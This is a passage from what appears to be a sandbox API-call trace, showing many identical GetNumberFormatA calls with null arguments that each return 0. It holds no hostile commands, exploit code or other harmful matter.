[0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.944] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.945] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.946] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.947] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.948] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0093.949] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: 